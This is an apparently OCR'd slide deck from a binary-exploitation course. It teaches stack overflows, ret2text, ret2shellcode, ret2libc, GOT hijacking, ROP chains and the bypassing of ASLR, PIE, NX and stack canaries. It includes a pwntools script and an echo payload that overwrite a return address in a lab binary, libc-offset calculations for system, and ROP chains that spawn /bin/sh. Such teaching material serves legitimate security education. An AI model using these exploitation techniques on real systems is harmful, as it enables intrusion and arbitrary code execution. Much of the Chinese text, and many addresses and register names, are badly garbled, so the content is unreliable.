Ox4006b6 <main+85>: mov eax,dx0
Ox4006bb <main+90>: leave

=> 0x4006bc <main+91>: ret

Ox4006bd: nop DWORD PTR [rax]

<repeats 28 times>)

-~ .

0x4006c0 <__libc_csu_init>: push ri5
Ox4006c2 <__libc_csu_init+2>: push ril4
Ox4006c4 <__libc_csu_init+4>: mov ri5d,edi
->
0000 ('a' <repeats 60 times>)
0008 ('a' <repeats 52 times>)
0016 ('a' <repeats 44 times>)
0024 ('a' <repeats 36 times>)
0032 ('a'
0



Stack Overflow

 From crash to exploit

» RIS A—HEREZABEIEA crash

-~y l -

[ ——

8 S BEE R - Me IS RIEHIRE VRIS

33
(et

e EX:

» WE1SMELS return address i, AT R ER [BlHF > PERINEZRIFEIVNS

%



Stack Overflow

 From crash to exploit

e Qverwrite the the return address

o [A] x86/x64 |& 2 little-endian Y » FRPATEA address B » FE&BRIEA

¢ e.0.

o {BREREIE A 0x00400646 FLEEIE A
\x46\x06\x40\x00\x00\x00\x00\x000

 p64(0x400646) # in pwntools
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Return to Text

» 1Zil eip RELRIRAIZNHFRIIZI0NS

« PA bofeasy #EHIZKER » FelfIr] PABKE! 133t 51 function

« AL objdump KIxZFPRNEIEVE

100



~ 206406
-

400047 .
400064a:
40064 f .
400054 .
400059
40005e .
400651 :
4006000

0000000000400646 <1L33t>:

Return to Text

) ia
I
%ﬁ

48 89 e5

bf 44 @7 40 00
e8 8c fe ff ff
bf 4e 07 40 00
e8 92 fe ff ff
90

5d

c3

107

push
mov
mov
call
mov
call
nop
pPop
ret

rbp

rbp,rsp
edi,0x400744
4004e0 <puts@plt>
edi,0x40074¢

400410 <system@plt>

rbp



Return to Text

 Exploitation
e | ocate the return address

 TBJFg aaaaaaaabbbbbbbb...... J\{E—4BRIF KR E L return address

 pwntool cyclic

* gdb-peda pattc

108



Return to Text

 Exploitation
e Write exploit

e echo -ne
“aaaaaaaabbbbbbbbcccccceccddddddddeeeeeee\x46\x60\x40\x00\x
00\x00\x00\x00” > exp

« cat exp - | ./bofeasy

109



Return to Text

 Exploitation

o Write explolit #1/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *

from pwn import *

"10.211.55.6"
88388

host
port

oo ~NOOTULTL S WN B

r = remote(Chost,port)

o
=

133t = 0x400646

12 payload = "aaaaaaaabbbbbbbbccccccccddddddddeeeeeeee™ + p64(133t)
13 r.recvuntil(":")

14 W.sendline(payload)

15

16 r.interactive()

110



Return to Text

 Exploitation

 Debug explolit

e gdbdr < exp



Return to Text

 Exploitation
 Debug explolit

e Use attach more would be easier

112



Practice

* bofedsy

e Just overwrite return address

113



Return to Shellcode

ANSRTE data Ex E 2R #ITHMNEEEREE » FEfItt el BAFciE data Ex ;A
shellcode BB

Start End Perm Name

I " 'll'l

0x®0®07ffff7bcd®00 0x0®0®7ffff7dcd0®0 ---p
Ox00007ffff7dcdodd @x00007ffff7dd1000d r-xp

OxQ0007ffff7dd7000 @x000Q7ffff7dfdodd r-xp

OxQ0007ffff7ff8000 OxP00Q7ffff7ffaddd r--p
OxQ0007ffff7ffad00 Ox00Q7ffff7ffcO0d r-xp
OxQ0007ffff7ffcO00 Ox00007ffff7ffdoOdd r-xp

OXFFFFFFFFFFE00000 OxFFffffffff601000 r-xp
L] 1 P .

/11b/x86_64-1inux-gnu/libc-2.23.50
/11b/x86_64-11inux-gnu/libc-2.23.s0

/11b/x86_64-11nux-gnu/1d-2.23.5s0

[vvar]
[vdso]
/11b/x86_64-11nux-gnu/1d-2.23.s0

[vsyscall]

114



Lab 2

e ret2sc

e Just overwrite return address and jump to shellcode

115



Protection

« ASLR
« DEP
 PIE

e StackGuard



Protection

ASLR

 FCIERRU B A=

o BR#ITFIEINAF 5 stack * heap - library LB A—

« EEELGBRME ASLR

e cat /proc/sys/kernel/randomize_va_space

117



Protection

« ASLR




Protection

ASLR

{EF Idd (R BHITIEE AR library R EIH) 12 address £

angelboy@ubuntu:~$ ldd /bin/ls
linux-vdso.so0.1l => (0x00007ffdcbff60 ’)
i)

1 11 O-ET__—" X.SO0. - . 0_0D4~ 1 X - l 7" _7’-7&*%;‘ S0 . ye= UXY 0 O 1°XA )'77‘077: 55000)
| 11bc S0.6 => /11b/x86 64 11nux gnu/llbc S0.6 (0x00007fe6aa680000) |

n‘
1, alaly - al _ = n o0 HALYIATATATAR HZYATATA

= = " = - e — —— — — —

libdl.so. 2 => /11b/x86 64 11nux gnu/llbdl SO. 2 (0x00007fe6aa217000)

/1ib64/1d-1inux-x86-64.s50.2 (Ox000055b2ee6c4000)

libpthread.so0.0 => /1ib/x86_64-l1linux-gnu/libpthread.so0.0 (0x00007fe6a9ffateo)
angelboy@ubuntu:~$ ldd /bin/ls

- linux-vdso.so.1l => (0x00007fffa15d2000)

i*“ “11bsellinux.s0.l1 => 711D/ X86_0b4- UX-0NU/ L1DSEeLl1NUX.50.1 (UX LR TAS 77fa90000)
1 11bc $S0.6 => /llb/X86 64 11nux gnu/llbc S0.6 (0x00007f977f6d3000)
_ re _en 2 =%_/ nuy._nnie /13 h WAKVIATATATA olwiw i 000)

11bd1 SO. 2 => /11b/x86 64 11nux gnu/llbdl SO. 2 (0x00007f977f25e000)
/11b64/1d-1inux-x86-64.s0.2 (Ox000055e05942a000)
llbpthread so @ => /1ib/x86_64-1linux-gnu/libpthread.so0.0 (Ox00007f977T041000)
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Protection

« DEP

o N 7FH NX

» FIBRIAREIT > FIHITHOARIE

120



Protection

- | T TTTTTINRT

Start End | Perm | Name

Ox00400000 Ox00401000 I r-xp /home/angelboy/ntu2016/crackme
OxX00600000 Ox00601000 | r--p | /home/angelboy/ntu2016/crackme
OxP0601000 OxP0602000 { rw-p /home/angelboy/ntu2016/crackme
OxPeEe7ffff7a0eb00 0x00007ffff7bceooo r-xXp /1ib/x86_64-1linux-gnu/libc-2.23.s0
OxXPRee7FFFFf7bceddOd 0x00007ffff7dcd0ap -==p /1ib/x86_64-1linux-gnu/libc-2.23.s0
Ox00eO7FFff7dcdooo 0x00007ffff7dd10°o r--p /1ib/x86_64-1linux-gnu/libc-2.23.s0
Oxeeee7ffff7dd1000 0x00007ffff7dd30%w rw-p | /1ib/x86_64-1linux-gnu/libc-2.23.s0
OXx00ee7fFff7dd3000 OxPEEE7FFFff7dd7060 rw-p | mapped

Oxeeee7fFfff7dd7000 0x00007ffff7dfd0ﬂ0 r-xp | /1ib/x86_64-1inux-gnu/ld-2.23.s0
0x00007ffff7fe0000 Ox00007ffff7fecode rw-p | mapped

OxPPRO7TFFT7fT6000 Ox000O7TFTT7fT80G0 rw-p | mapped

OXOOOO7FFFF7FF8000 OXOOEO7Ffff7ffacecl® r--p | [vvar]

Oxe0e07FffFf7ffac0® OxE0007FFff7ffcoge r-xp | [vdso]

OXOOOO7FFFf7ffcoO0 Ox00EO7ffIf7ffdoge r--p § /1ib/x86_64-1linux-gnu/l1d-2.23.s0

OX00007FFFF7fFfdeee Ox0eEe7FFFf7ffe0dd rw-p | /1ib/x86_64-1linux-gnu/l1d-2.23.s0

0x00007FfFff7ffe000 Ox000O7FFFF7FFfOge rw-p | mapped
OxOOEO7FFFIffdedOd OXOOOO7TTIIIIIfoge rw-p | [stack]
[vsyscall]

\
|
OXFFFFffFFffe00000 OXFFFFfFffffffe0106P r-xp |
adbh-nedas B | |
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Protection

 PIE ( Position Independent Execution )

e gcc EFEERIBN FASHAN - 4RaZfFI0_LE -fPIC -pie R A] LARRY

o ESHENRYIE R T2 EY data ER & code R E EEERY

« —(BREENZ 1 data & code th=iEZE ASLR - FLERIEERAY ret2text/
shellcode ;R BB EMNE R B » FLEEHEETFZ
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Protection

» objdump ERZR pie XAV binary

« code address &g R F| T offset #H1TEZIN_L code base 7T @EIETX:C
BREFINNE N _

= ‘

] 00000@H000000ad0 <main>:
ado: 55 push rbp

W adl: § 48 89 e5 mov rbp, rsp

il ad4: § 48 81 ec 90 00 00 0O sub rsp, Ox90
adb: § 64 48 8b 04 25 28 00 mov rax, QWORD PTR fs:0x28
ae2: | 00 00

|

! ae4: 48 89 45 T8 mov QWORD PTR [rbp-0x8], rax
’ aes8: 31 c@ Xor eax, eax
| aea: 48 8b 05 e7 14 20 00 mov rax, QWORD PTR [rip+0x2014e7] # 201fds8
{ af1: | 48 8b 00 mov rax, QWORD PTR [rax]
I af4: | b9 00 00 00 0O mov ecx, Oxe
| af9: | ba 02 00 00 00 mov  edx, Ox2
y afe: § be 00 00 00 00 mov esi, 0x0
; b03:‘“ 48 89 c7 mov rdi, rax
| bos: § es 45 fe ff ff call 950 <setvbuf@plt>
! béb: § bf 00 60 00 00 mov edi, Ox0
bi0: § e8 2b fe ff ff call 940 <time@plt>
I bi5: § 89 c7 mov edi, eax
| b17: § e8 14 fe ff ff call 930 <srand@plt>
; bic: § be 00 00 00 00 mov esi, Ox0
{ b21: [} 48 8d 3d ac 01 00 00 lea rdi, [rip+0x1lac] # cd4 <_IO_stdin_used-
{ b28: [ b8 00 00 0O 0O mov eax, Ox0
f b2d: || e8 2e fe ff ff call 960 <open@plt>
J b32: |f 89 85 7c ff ff ff mov DWORD PTR [rbp-0x84], eax

| ™M . AmMm Mnd nd T £ L £EL L O T o —— Famblhecw M.

i } 123
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Protection

e StackGuard

o EFENHITEMEREAE —BLEX function call BFEZE A stack > £
function return IS ERE SR ZEBE R ED) » — B IR B EFIMAER4IE
&

« 52/EX 7 canary

o JEEABXIUFEIE T stack overflow BYIXE

2

- BHITAERIEL =R BIHY
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Protection

e StackGuard

e canary BNEEHITHABE G AT - — B4 tls BNEEXFHY tcbhead_t
4LFBHR > 1L x86/x64 Z2%s NEA —{EE Fs+a0 tls ExAY tcbhead_t 45
I8

e X80 :3Qs
e X064 :fs

o AULFZEINTEERY canary [EiGFEP= H1ZIA fs/gs 1FEX

125



Protection

e StackGuard

High

rsp

push rbp
mov rbp,rsp
sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

low

woe [
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Protection

e StackGuard

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

low

woe [
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Protection

e StackGuard

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

low

woe [
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Protection

e StackGuard

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

low

woe [
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Protection

e StackGuard

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave

low



Protection

e StackGuard

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check fail
leave
ret

rsp

131

low




Protection

e StackGuard

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

132

low




Protection

o StackGuard - overflow

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

low

woe [

133



Protection

o StackGuard - overflow

dddddaadd

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

low

woe [
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Protection

o StackGuard - overflow

dddddaadd

push rbp
mov rbp,rsp rbp

sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check_falil
leave
ret

rsp

135

low




Protection

o StackGuard - overflow

push rbp
mov rbp,rsp
sub rsp, 0x40
mov [rbp-0x8],fs:0x28

mov rax,[rbp-0x8]
cmp rax,fs:0x28
jne stack_check fail
leave

rbp

dddddaadd

High

low



Protection

o StackGuard - overflow |
High

low
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Protection

e StackGuard

angelboy@ubuntu ~/course$ ./boftest
Bl o (o (o (o (ol teToieirisirioioteioiotesioisisiotoioisfolotoioislsistsirisiririosisisioloiririryrye gttt gpnaadaaaaaaaaaas

.~ *** stack smashing detected ***: ./boftest termlnated}‘
| Aborted | - ﬁ
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Lazy binding

 Dynamic linking FIFET\IEHITEZER » BLE library BYRR T\ o] BERIAS R A A
ZHITE

FirA ELF $xEX Lazy binding B9%%Hl » 7£55—=K call library IBRTVEF » T &
=1 TV E IFR{UE ETT binding
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Global Offset Table

o library FIIEBH AR IRAE » EUL#EEE compile 12 » B AN library
Ay function 7EMB » 5% Bk

o GOT Z—1EPATVIEIZE[ET! » fFEFEAMN library 7 » function B9\ & - {BR
Lazy binding BUHHl » A= —FHIGMIEEENVEE L - MEEL—E
plt L& HJ code
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Global Offset Table

o SH1TE! library By function IFA @ E 1E A1 function » x12 B GOT

PR EIE EEIF function BN B

--------------- T — -3
0x0®0®00®0®04®0573 <+45> | call 0x4®0420 <r‘ead@p1t> {

0x0000000000400578 <+50>: MOV—euxX;OX0——
0x000000000040057d <+55>:  mov  rcx,QNORD PTR [rbp-0x8]
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Global Offset Table

e .got

s RIFEEEHS|IHIUE

e .got.plt

» RIFIUSIANEA
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e .got.plt

Global Offset Table

o BI=IBEY%FA

\ )

* address of .dynamic

* link_map

— @5 5|

12189 library FfE

e dl runtime resolve

*

]

Rl ZFZT\F

.S0

2K 3% PR UL B YRR 0

KIU5 | L E

35BS linked list » function resolve Bt & FE
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Global Offset Table

e |ayout




Lazy binding

text foo@plt PLTO

jmp *(foo@GOT)

push *(GOT + 8)

push index imp *(GOT + 0x10)

jmp PLTO

call foo@plt

.got.plt (GOT)

145



Lazy binding

text foo@plt PLTO

jmp *(foo@GOT)

push *(GOT + 8)

push index imp *(GOT + 0x10)

jmp PLTO

call foo@plt

.got.plt (GOT)
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Lazy binding

lext foo@plt PLTO

imp “(too@&OT) push *GOT + 8)

imp *(GOT + 0x10)

push index
jmp PLTO

call foo@plt

.got.plt (GOT)

foo i&)%2 call &
FLA foo 1£ .got.plt PER{ZRYE
SEE PPN TF—1TIESUE
FRLARER S HERE jmp &
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Lazy binding

text foo@plt PLTO

jmp *(foo@GOT)

push *(GOT + 8)

push index imp *(GOT + 0x10)

jmp PLTO

call foo@plt

.got.plt (GOT)
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Lazy binding

text foo@plt PLTO

jmp *(foo@GOT)

push *(GOT + 8)

push Index imp *(GOT + 0x10)

jmp PLTO

call foo@plt

.got.plt (GOT)
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Lazy binding

text foo@plt PLTO

jmp *(foo@GOT)

push *(GOT + 8)

push index imp *(GOT + 0x10)

jmp PLTO

call foo@plt

.got.plt (GOT)

push link_map
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Lazy binding

text foo@plt PLTO

jmp *(foo@GOT)
push index
jmp PLTO

push *(GOT + 8)

call fOO@plt imp *(GOT e 0)

.got.plt (GOT)

jmp dl_runtime_resolve

» dl_runtime_resolve (link_map,index)
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Lazy binding

dl resolve

dext

call _fix_up

call foo@plt

.got.plt (GOT) ret Oxc

152



Lazy binding

dl resolve

dext

call _fix_up

call foo@plt

.got.plt (GOT) ret Oxc

¥ 2l foo 7£ library B9 B 1&
=1H[5] .got.plt
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Lazy binding

dl resolve

dext

call _fix_up

call foo@plt

.got.plt (GOT) ret Oxc

return to foo
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Lazy binding

ke —

e 5K call foo A5

text foo@plt PLTO

jmp *(foo@GOT)

push *(GOT + 8)

push index imp *(GOT + 0x10)

jmp PLTO

call foo@plt

.got.plt (GOT)
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Lazy binding

ke —

e 5K call foo A5

text foo@plt PLTO

jmp *(foo@GOT)
push index
jmp PLTO

push *(GOT + 8)

or=1] fOO@pIt ]mp *(GOT + Ox1 O)

.got.plt (GOT)

Jmp to foo function
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How to find the GOT

e objdump -R elf or readelf -r elf

hello: file format elfo64-x86-64

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

0000000000600938 R_X86_064_GLOB_DAT __gmon_start__
0000000000600958 R_X86_64_JUMP_SLOT __stack_chk_fai1l@GLIBC_2.4
0000000000000960 R_X80_064_JUMP_SLOT read@®GLIBC_2.2.5
0000000000600968 R_X80_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
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GOT Hijacking

o &7 E1F Lazy binding B9 GOT (LB WV BRI E AR

s MREXNEFAEEEUERNRE » ErXE GOT » EREIVMIZAIN

S=44

lllllll

o i RIP
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GOT Hijacking

ke —

e 5K call foo A5

text foo@plt PLTO

vulnerability

jmp *(foo@GOT) push *(GOT + 8)

imp *(GOT + 0x10)

push index
jmp PLTO

call foo@plt

.got.plt

159



GOT Hijacking

ke —

e 5K call foo A5

text foo@plt PLTO

vulnerability

jmp *(foo@GOT) push *(GOT + 8)

imp *(GOT + 0x10)

push index
jmp PLTO

call foo@plt

.got.plt
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GOT Hijacking

ke —

e 5K call foo A5

text foo@plt PLTO

vulnerability

Jmp *{foo@GOT) push *(GOT + 8)

imp *(GOT + 0x10)

push index
jmp PLTO

call foo@plt

.got.plt
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GOT Hijacking

e TR call foo B




RELRO

» DR=12

e .got/.got.plt #FPIE

o Partial (default)

 .got ME3E

* Fulled

+ RELRO {R# T » &7 load time FFi% 2 &R function resolve 52
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Return to Library

. E—REZIERTREADERES system % » AIIAEIEEE shell i

function

o £ DEP/NX 891z FEMHEIZEZIEA shellcode Z#FITEAMBIFZTVAE
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Return to Library

e M1E Dynamic Linking 18:R F » KEMRRENEZHA libc > libc FEIEE S
9+ FHEY function 8] DE PRSI B Y

e system

* execve
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Return to Library

« (B—A%IER TEI= XA ASLR 1% » EXE X libc HANUEREE

o FRAEIFIEEEEE information leak BYE AR ELEN libc B4 base address
HME D system 35 function (UE - BiFREINEBES
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Return to Library

o« WE ] LA¥ETS libc (U BRI S
« GOT

« Stack FHIRBEEE

o function return B\ A= 18 stack FIIAS BFFR

» heap FHI5RBEE

i
Hrt

» free 552187 malloc » T AEE heap FHNAR B
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Return to Library

e M—ARIE N MY ASLR #H =2 1E library image —#E#2&) » F UL R EH leak
T libc FRAY{izILE - BEREESAI AR L libe

e FAMRIFIF objdump -T libc.so.6 | grep function &3k =483 AT function 1E
libc FRRY offset

o WNRFKFES printf IR » RIFIE= printf 7£ libc R offset DA s A8 EFI| FH

Y function offset
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Return to Library

e printf : Ox7ffff7a62800 (0x55800)
e libc base : Ox7ffff7a62800 - 0x55800 = Ox7ffff7a0d000

e system : Ox7ffff7a0d000 + 0x45390 = Ox7fiff7a52390

printf (Ox7ffff7a62800)

system (base + 0x45390)
base (0x7ffff7a62800)

CODE VMA
R
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Return to Library

%15 system B Z1& » FIRILAEE return address BtZl system L >
° 4[4 =3

EEEISHNESHTE—

e {BTE x86-64 Linux _ 183

FRUAE AP B RE AR /bin/sh I B IAE rdi

i

FEAN L

Z 8 ZH reqister 1&

» BIF)A pop rdi; ret A AF B EHLER rdi

170

1

Y

— @2

2= T rdi



Return to Library

stack overflow ret

pop rdi
ret

rsp




Return to Library

stack overflow ret

new o

pop rdi
ret

rsp




Return to Library

stack overflow ret

new o

rs
pop rdi P
ret

rdi
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Return to Library




Return to Library

+ @7

o “/bin/sh” FHR{UB M RILATE libc B2l » FHItERRNFIRBZFE » 7]
it libc M

o system 2 HE “sh” B17] » EFLr]AZE Rk “sh” F
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Lab 3

e r3t2lib



2{0] 0

B ret ZHITEMES ret BNIETVES R Ex

IS L5 R Ex X A& gadget

48 81 c7 00 06 90 00 add  rdi,0x600
48 89 f8 mov rax, rdi

c3

177



2{0] 0

 Why do we need ROP ?
 Bypass DEP

o Static linking can do more thing

178



ROP

e ROP chain

o £%)&AY buffer overflow 18 stack A2 FZ BB MI1EH - FIrT AFER

:I:ZE:'E

ret = pop rip 5% » FFAERIEH rip

high
overflow ret

pop rax
ret

gadget1t

rsp

gadget2 syscall

low
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ROP

e ROP chain

o £%)&AY buffer overflow 18 stack A2 FZ BB MI1EH - FIrT AFER

:I:ZE:'E

ret = pop rip 5% » FFAERIEH rip

high
overflow

pop rax
ret

gadget1t

rsp

gadget2 syscall

low

180



ROP

e ROP chain

o £%)&AY buffer overflow 18 stack A2 FZ BB MI1EH - FIrT AFER

:I:ZE:'E

ret = pop rip 5% » FFAERIEH rip

high
overflow ret

pop rax rsp

ret

gadget1t

gadget2 syscall

low
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ROP

e ROP chain

o £%)&AY buffer overflow 18 stack A2 FZ BB MI1EH - FIrT AFER

:I:ZE:'E

ret = pop rip 5% » FFAERIEH rip

rsp high

overflow ret

pop rax
ret

gadget1t

gadget2 syscall

low
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2{0] &

e ROP chain

« £%9&HY buffer overflow & stack AR FA BB IS » FIr] AFEH
ret = pop rip 35< » FAEHIEH! rip

183



2{0] 0

e ROP chain

o R ZHJ ROP gadget 2B5K

o (2[R register KECIRRSIRIE » IT0Y system call ZEREECIEFAIT

o ER FFEF A ROP gadget K& 131 2 BiE HY shellcode HISI R

184



e (Gadget

e read/write register/memory
* POpP rax;pop rcx ; ret
* mov [rax],rcx ; ret

e system call
e syscall

* change rsp
* POp rsp; ret

e |leave ; ret

2{0] 0

185



* Write to Register
* pPOp reg ; ret

* MOV reg, reg ; ret

2{0] 0
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ROP

* Write to Register

e |let rax = Oxdead rbx = Oxbeef

high
overflow

0x4010fb | Poprax

re

0x401041 pop rbx "SP

ret

rax rbx low

C>|
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ROP

* Write to Register

e |let rax = Oxdead rbx = Oxbeef

high
overflow

0x4010fb POPp rax

re

rsp

0x401041 pop rbx

ret

rax rbx low

C>|
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ROP

* Write to Register

e |let rax = Oxdead rbx = Oxbeef

high
0x4010fb pop rax "
ret
(=]
rax rbx low
T — T —
Oxdead 0
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ROP

* Write to Register

e |let rax = Oxdead rbx = Oxbeef

high
rsp
ret
(=]
rax rbx low
T — T —
Oxdead 0
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ROP

* Write to Register

e |let rax = Oxdead rbx = Oxbeef

rsp high
ret
ret
rax g0) low
I — ——

Oxdead Oxbeef
101



e Write to Memory
* mov [reg],reg

* mov [reg+XX], reg

2{0] 0

192



ROP

e Write to Memory

e |let "Ox602080 = Oxdeadbeef

high
overflow .
pop rax
0x40108a pop rbx
ret
0x4010d1 mov [rax],rbx
ret rsp
low
rax rbx 0x602080
II—8,., e P —

0 0 0
193



ROP

e Write to Memory

e |let "Ox602080 = Oxdeadbeef

high
overflow ret Is
pop rax
0x40108a pop rbx
ret
rsp
0x4010d1 mov [rax],rbx
ret
low
rax rbx 0x602080
II—8,., e ——

0 0 0
194



ROP

e Write to Memory

e |let "Ox602080 = Oxdeadbeef

overflow ret high
pop rax
0x40108a pop rbx
ret rsp
ret
low

rax rbx 0x602080

T S
0x602080 0 0
195




ROP

e Write to Memory

e |let "Ox602080 = Oxdeadbeef

overflow ret high
pop rax rsp
0x40108a pop rbx
ret
0x4010d1 mov [rax],rbx
ret
low
rax rbx 0x602080

T — —
0x602080 Oxdeadbeef ! 0




ROP

e Write to Memory

e |let "Ox602080 = Oxdeadbeef

high
overflow ret Is
rsp
pop rax
0x40108a pop rbx
ret
0x4010d1 mov [rax],rbx
ret
low
rax rbx 0x602080

S — —
0x602080 Oxdeadbeef N 0




ROP

e Write to Memory

e |let "Ox602080 = Oxdeadbeef

overflow ret rsp high
pop rax
0x40108a pop rbx
ret
0x4010d1 mov [rax],rbx
ret
low
rax rbx 0x602080
—, —— —

0x602080 Oxdeadbeef ! Oxdeadbeef



2{0] 0

o execve(“/bin/sh”,NULL,NULL)

e write to memory

» AP ZRIFIEFEB AGIERET

0x602080 0x602088

/bin/das h\x00\x00\x00...
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2{0] 0

e execve(“/bin/sh” , NULL,NULL)
* write to register
e rax = Ox3b, rdi = address of “/bin/sh”
e rsiI=0,rdx=0

e syscall

200



e find gadget

2{0] 0

e https://github.com/JonathanSalwan/ROPgadget

0x0000000000401947 :
0x00000000004016da :
0x0000000000401ee0 :
0x0000000000401949 :
0x00000000004916dC :
0x0000000000401ee2 :
0x000000000040194b :
0x00000000004016de :
0x0000000000490194d :
0x00000000004026c6 :
0x000000000040260d :
0x0000000000400192 :
0x0000000000400f 11 :
0x0000000000401946 :
0x00000000004016d9 :
0x0000000000401edf :
0x000000000049194a :
0x00000000004016dd :
0x0000000000400130 :
0x0000000000401ede :
0x0000000000401540
0x000000000040228¢e :
0x000000000040194e :

RERRRRRRRRRRRRRRRRRRERE

¢

§8888888¢¢

ggg
X X X

133333333333 48343433333838

ri3
(i K
(i
ri4
ri4

ris

ret

ret

; ret

pop rl4 ; pop rlsS ; ret
pop rl4 ; ret

pop rlS ; ret

rsp, 8 ; pop rbp ; ret

&

byte ptr [rip + 9x20309¢], 1 ; ret
, Ox604018 ; jmp rax
; pop rl3 ; pop ri4 ; pop ris ; ret
; pop rl3 ; pop ri4 ; ret
; pop rl3 ; ret
; pop rlS ; ret
; ret
; pop rl2 ; pop ri3 ; ret
; ret

b


https://github.com/JonathanSalwan/ROPgadget

2{0] 0

e find gadget
« ROPgadget - - binary binary
« ROPgadget - - ropchain - - binary binary

e 7 Static linking 8% ] LAZHAYIN execve BY rop chain {BEE & E &
FEH S E A gadget K EXFE—EE
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Lab 4

e simplerop_revenge
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Using ROP bypass ASLR

o {BRz% dynamic #RzERUFEZ,HA Buffer Overflow BEEBEZ PIE 1HR T (
S RZEE StackGuard BI153R)

 How to bypass ASLR and DEP ?

 Use .plt section to leak some information

e ret2plt

e BE—ARINIEXFEEA put ~ send - write Z output function

204



Using ROP bypass ASLR




Using ROP bypass ASLR

code

ret
pop rdi
ret




Using ROP bypass ASLR

code

ret
pop rdi
ret




Using ROP bypass ASLR

high

rsp

low




Using ROP bypass ASLR

code stack
high

ret
pop rdi

ret
jimp *(put@GOT) rsp

low




Using ROP bypass ASLR

code stack
high

ret
pop rdi

ret
jmp put(put@GOT) rsp

low




Using ROP bypass ASLR




Using ROP bypass ASLR

code stack
high

ret
pop rdi
ret

jmp put(put@GOT)

ret rsp

rdi rsi

low




Using ROP bypass ASLR

code stack
high

ret
pop rdi

ret
rsp

jmp put(put@GOT)
ret
pop rdi

rdi rsi rdx

put@GOT 0 0 low



Using ROP bypass ASLR

code stack
high

ret

pop rdi rsp
ret
jmp put(put@GOT)

ret
pop rdi

low



Using ROP bypass ASLR

code stack
high

ret
pop rdi
ret
jmp put(put@GOT)
ret

rsp

pop rdi
ret
pop rsi

low



Using ROP bypass ASLR

code stack
high

ret
pop rdi
ret
jmp put(put@GOT)

ret
pop rdi

ret
pop rsi

ret

rsp

rdi rsi rdx

0 puts@GOT 0 [
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Using ROP bypass ASLR

code

ret
pop rdx
ret




Using ROP bypass ASLR

code

ret
pop rdx
ret




Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx

ret
jmp read@plt

rdi rsi

low




Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx

ret
jmp read(0,put@GOT,8)

rdi rsi

low




Using ROP bypass ASLR




Using ROP bypass ASLR

code stack
high

ret rsp
pop rdx

ret

jmp read(0,put@GOT,8)
ret

rdi rsi

low




Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx
ret
jmp read(0,put@GOT,8)

ret
pop rdi

rdi rsi

low




Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx
ret

jmp read(0,put@GOT,8)
ret
pop rdi
ret

rdi rsi rdx

&/bin/sh puts@GOT 8 [
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Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx
ret
jmp read(0,put@GOT,8)

ret
pop rdi
ret
jmp puts@plt

rdi rsi rdx

&/bin/sh puts@GOT 8 [
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Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx
ret
jmp read(0,put@GOT,8)

ret
pop rdi
ret
jimp *(puts@GOT)

rdi rsi rdx

&/bin/sh puts@GOT 8 [
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Using ROP bypass ASLR

code stack
high

rsp

ret
pop rdx
ret
jmp read(0,put@GOT,8)

ret
pop rdi
ret
jmp system(“/bin/sh”)

rdi rsi rdx

&/bin/sh puts@GOT 8 [

227



Using ROP bypass ASLR

code stack
high

ret
jmp system(“/bin/sh”)

rdi

low



Using ROP bypass ASLR

 Bypass PIE

o WNALEYFE % leak —1[E code ExBVUE > #EHEE{EH 1 code base i
miEBTAE GOT HFE&:H

BT code base Z12EMRIEIRAE PIE BUIER F—1x
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Using ROP bypass ASLR

 Bypass StackGuard

e canary R ATE function return FiEE

e QBT canary BEIFE—1%

o FRLDARTLASCAB#EX leak B canary B91H » E—E— &R AT
bypass > S 8EAEIXE canary thA] A
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Using ROP bypass ASLR

e \Weakness Iin fork

e canary and memory mappings are same as parent.

231



e ret2plt



Reference

e Glibc cross reference

e | inux Cross Reference

« REIUERETRINVEHIEE
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http://code.metager.de/source/xref/gnu/glibc/
http://lxr.free-electrons.com/
http://www.tenlong.com.tw/items/9861818286?item_id=53897




Thank you for listening

Mail : angelboy@chroot.org

Blog : blog.angelboy.tw
Twitter : scwuaptx
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